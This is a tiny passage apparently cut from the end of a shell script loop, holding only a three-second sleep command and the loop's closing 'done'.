sleep 3

done